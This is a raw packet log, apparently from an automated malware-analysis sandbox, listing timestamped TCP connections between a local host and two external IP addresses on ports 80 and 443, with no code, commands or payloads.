Dec 19, 2024 16:10:43.451353073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.451387882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.451754093 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.452300072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.452358961 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.452378035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.452480078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.452915907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.452963114 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.453197956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.453254938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.453788042 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.453896999 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.453916073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.454058886 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.454754114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.454824924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.454839945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.454864025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.455791950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.455826044 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.455869913 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.456557035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.456619978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.456653118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.456653118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.580693007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.580754042 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.580912113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.580916882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.580979109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.580979109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.581054926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.581094980 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.581794977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.581835032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.581927061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.581990004 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.582731962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.582792997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.582814932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.582868099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.605572939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.605684996 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.605705976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.605777979 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.605999947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.606050968 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.606168032 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.606210947 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.606929064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.607034922 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.607038975 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.607173920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.607894897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.607950926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.607970953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.608165979 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.608771086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.608836889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.608845949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.609066963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.609661102 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.609738111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.609767914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.609769106 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.610569000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.610681057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.610701084 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.610819101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.611465931 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.611547947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.611588955 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.611588955 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.612349033 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.612416029 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.612416983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.612560034 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.613281965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.613334894 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.613373041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.613502026 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.614258051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.614340067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.614418983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.614492893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.615112066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.615211964 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.615227938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.615262032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.616034031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.616096973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.616137028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.616249084 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.616935015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.617001057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.617058039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.617260933 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.617855072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.617867947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.617930889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.617930889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.618756056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.618940115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.618961096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.619025946 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.619700909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.619754076 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.619838953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.620260954 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.620593071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.620642900 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.620680094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.620717049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.621474981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.621535063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.621551991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.621845007 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.622438908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.622569084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.622729063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.623336077 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.623476982 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.623507023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.623522997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.624202013 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.624304056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.624336958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.624336958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.625133991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.625204086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.625224113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.625269890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.626009941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.626138926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.626142979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.626332045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.626992941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.627053976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.627082109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.627166033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.627896070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.627949953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.628021002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.628066063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.628719091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.628911972 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.628998041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.629687071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.629699945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.629750013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.629750013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.630558968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.630570889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.630630016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.631489038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.631551027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.631581068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.631581068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.632401943 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.632412910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.632456064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.632456064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.633271933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.633388996 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.633433104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.634171963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.634238958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.634258032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.634332895 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.635112047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.635185003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.635216951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.635216951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.636030912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.636140108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.636229038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.636523008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.636940956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.636953115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.636990070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.637042046 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.637795925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.637907028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.637913942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.637953997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.638752937 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.638880014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.638896942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.638962984 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.639647961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.639749050 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.639781952 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.639812946 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.640542030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.640711069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.640775919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.641485929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.641577959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.641614914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.641614914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.642404079 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.642462015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.642529011 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.642566919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.643296957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.643424988 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.643457890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.643457890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.644272089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.644376040 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.644407988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.644407988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.645279884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.645395041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.645399094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.645638943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.646045923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.646096945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.646100044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.646158934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.647056103 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.647192955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.647202015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.647336006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.647893906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.647990942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.647993088 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.648051977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.648840904 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.648978949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.649023056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.649023056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.649673939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.649770021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.649820089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.773184061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.773277998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.773431063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.773485899 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.773561954 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.773607016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.773673058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.774322987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.774452925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.774561882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.775211096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.775332928 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.797672987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.797816038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.797821045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.797956944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.798099995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.798139095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.798187971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.798986912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.799098015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.799108028 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.799165010 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.799899101 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.799967051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.800021887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.800214052 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.800784111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.800915003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.800945997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.801085949 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.801707983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.801755905 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.801786900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.801856995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.802601099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.802717924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.802730083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.802846909 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.803503036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.803587914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.803617954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.803699970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.804418087 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.804456949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.804477930 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.804548025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.805361986 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.805417061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.805475950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.805646896 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.806241989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.806313038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.806356907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.806427002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.807140112 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.807194948 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.807240009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.807321072 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.808346987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.808429956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.808475971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.808475971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.808932066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.809115887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.809159040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.809159040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.809860945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.809930086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.810195923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.810741901 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.810841084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.811029911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.811657906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.811779022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.811799049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.811830997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.812576056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.812622070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.812627077 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.812824011 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.813518047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.813611031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.813663006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.814409971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.814472914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.814649105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.814688921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.815310001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.815360069 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.815433025 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.815511942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.816139936 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:43.816191912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.816206932 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:43.816216946 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:43.816239119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.816240072 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:43.816261053 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:43.816294909 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:43.816301107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.816308022 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:43.816399097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.816430092 CET	443	49934	94.130.191.168	192.168.2.6
